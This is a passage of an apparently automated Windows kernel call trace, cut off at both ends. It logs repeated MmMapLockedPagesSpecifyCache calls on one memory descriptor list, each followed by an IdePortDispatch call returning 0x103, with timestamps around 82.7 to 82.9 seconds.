(MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0082.676] IdePortDispatch () returned 0x103 [0082.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034aa000 [0082.677] IdePortDispatch () returned 0x103 [0082.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cd000 [0082.679] IdePortDispatch () returned 0x103 [0082.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0082.680] IdePortDispatch () returned 0x103 [0082.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d9000 [0082.681] IdePortDispatch () returned 0x103 [0082.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e1000 [0082.682] IdePortDispatch () returned 0x103 [0082.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e9000 [0082.682] IdePortDispatch () returned 0x103 [0082.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f1000 [0082.683] IdePortDispatch () returned 0x103 [0082.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f4000 [0082.684] IdePortDispatch () returned 0x103 [0082.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fc000 [0082.685] IdePortDispatch () returned 0x103 [0082.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0082.686] IdePortDispatch () returned 0x103 [0082.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350c000 [0082.687] IdePortDispatch () returned 0x103 [0082.688] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0082.688] IdePortDispatch () returned 0x103 [0082.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003512000 [0082.689] IdePortDispatch () returned 0x103 [0082.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0082.691] IdePortDispatch () returned 0x103 [0082.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0082.692] IdePortDispatch () returned 0x103 [0082.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd9000 [0082.706] IdePortDispatch () returned 0x103 [0082.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdc000 [0082.707] IdePortDispatch () returned 0x103 [0082.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0082.722] IdePortDispatch () returned 0x103 [0082.723] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003582000 [0082.723] IdePortDispatch () returned 0x103 [0082.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003595000 [0082.725] IdePortDispatch () returned 0x103 [0082.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0082.726] IdePortDispatch () returned 0x103 [0082.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c31000 [0082.734] IdePortDispatch () returned 0x103 [0082.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c33000 [0082.735] IdePortDispatch () returned 0x103 [0082.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c77000 [0082.737] IdePortDispatch () returned 0x103 [0082.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0082.741] IdePortDispatch () returned 0x103 [0082.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d17000 [0082.741] IdePortDispatch () returned 0x103 [0082.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0082.763] IdePortDispatch () returned 0x103 [0082.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0082.763] IdePortDispatch () returned 0x103 [0082.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0082.764] IdePortDispatch () returned 0x103 [0082.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c38000 [0082.764] IdePortDispatch () returned 0x103 [0082.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0082.765] IdePortDispatch () returned 0x103 [0082.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0082.765] IdePortDispatch () returned 0x103 [0082.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0082.766] IdePortDispatch () returned 0x103 [0082.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0082.766] IdePortDispatch () returned 0x103 [0082.767] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0082.768] IdePortDispatch () returned 0x103 [0082.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0082.768] IdePortDispatch () returned 0x103 [0082.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0082.769] IdePortDispatch () returned 0x103 [0082.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0082.770] IdePortDispatch () returned 0x103 [0082.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc0000 [0082.770] IdePortDispatch () returned 0x103 [0082.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc8000 [0082.771] IdePortDispatch () returned 0x103 [0082.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0082.771] IdePortDispatch () returned 0x103 [0082.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd8000 [0082.772] IdePortDispatch () returned 0x103 [0082.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0082.772] IdePortDispatch () returned 0x103 [0082.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0082.773] IdePortDispatch () returned 0x103 [0082.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0082.773] IdePortDispatch () returned 0x103 [0082.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0082.774] IdePortDispatch () returned 0x103 [0082.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0082.774] IdePortDispatch () returned 0x103 [0082.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d08000 [0082.775] IdePortDispatch () returned 0x103 [0082.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1f000 [0082.775] IdePortDispatch () returned 0x103 [0082.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0082.776] IdePortDispatch () returned 0x103 [0082.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3f000 [0082.777] IdePortDispatch () returned 0x103 [0082.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d47000 [0082.777] IdePortDispatch () returned 0x103 [0082.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4f000 [0082.778] IdePortDispatch () returned 0x103 [0082.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d57000 [0082.778] IdePortDispatch () returned 0x103 [0082.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5f000 [0082.779] IdePortDispatch () returned 0x103 [0082.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d67000 [0082.779] IdePortDispatch () returned 0x103 [0082.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6f000 [0082.779] IdePortDispatch () returned 0x103 [0082.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d77000 [0082.780] IdePortDispatch () returned 0x103 [0082.787] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0082.788] IdePortDispatch () returned 0x103 [0082.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0082.788] IdePortDispatch () returned 0x103 [0082.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0082.788] IdePortDispatch () returned 0x103 [0082.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0082.789] IdePortDispatch () returned 0x103 [0082.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0082.790] IdePortDispatch () returned 0x103 [0082.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003528000 [0082.791] IdePortDispatch () returned 0x103 [0082.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003530000 [0082.791] IdePortDispatch () returned 0x103 [0082.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003538000 [0082.792] IdePortDispatch () returned 0x103 [0082.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0082.792] IdePortDispatch () returned 0x103 [0082.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0082.792] IdePortDispatch () returned 0x103 [0082.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0082.793] IdePortDispatch () returned 0x103 [0082.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0082.794] IdePortDispatch () returned 0x103 [0082.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0082.794] IdePortDispatch () returned 0x103 [0082.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003568000 [0082.795] IdePortDispatch () returned 0x103 [0082.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ac000 [0082.807] IdePortDispatch () returned 0x103 [0082.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0082.814] IdePortDispatch () returned 0x103 [0082.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcd000 [0082.815] IdePortDispatch () returned 0x103 [0082.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d40000 [0082.822] IdePortDispatch () returned 0x103 [0082.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d54000 [0082.824] IdePortDispatch () returned 0x103 [0082.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0082.829] IdePortDispatch () returned 0x103 [0082.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003468000 [0082.830] IdePortDispatch () returned 0x103 [0082.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0082.831] IdePortDispatch () returned 0x103 [0082.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0082.831] IdePortDispatch () returned 0x103 [0082.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003490000 [0082.832] IdePortDispatch () returned 0x103 [0082.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003498000 [0082.832] IdePortDispatch () returned 0x103 [0082.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0082.833] IdePortDispatch () returned 0x103 [0082.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a4000 [0082.835] IdePortDispatch () returned 0x103 [0082.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0082.850] IdePortDispatch () returned 0x103 [0082.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6c000 [0082.854] IdePortDispatch () returned 0x103 [0082.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0082.861] IdePortDispatch () returned 0x103 [0082.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0082.862] IdePortDispatch () returned 0x103 [0082.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0082.863] IdePortDispatch () returned 0x103 [0082.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003508000 [0082.863] IdePortDispatch () returned 0x103 [0082.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0082.864] IdePortDispatch () returned 0x103 [0082.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003535000 [0082.866] IdePortDispatch () returned 0x103 [0082.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0082.868] IdePortDispatch () returned 0x103 [0082.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355a000 [0082.869] IdePortDispatch () returned 0x103 [0082.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355d000 [0082.870] IdePortDispatch () returned 0x103 [0082.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0082.871] IdePortDispatch () returned 0x103 [0082.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003564000 [0082.872] IdePortDispatch () returned 0x103 [0082.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003568000 [0082.873] IdePortDispatch () returned 0x103 [0082.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035df000 [0082.898] IdePortDispatch () returned 0x103 [0082.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0082.900] IdePortDispatch () returned 0x103 [0082.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b87000 [0082.902] IdePortDispatch () returned 0x103 [0082.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0082.915] IdePortDispatch () returned 0x103 [0082.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003468000 [0082.916] IdePortDispatch () returned 0x103 [0082.917] 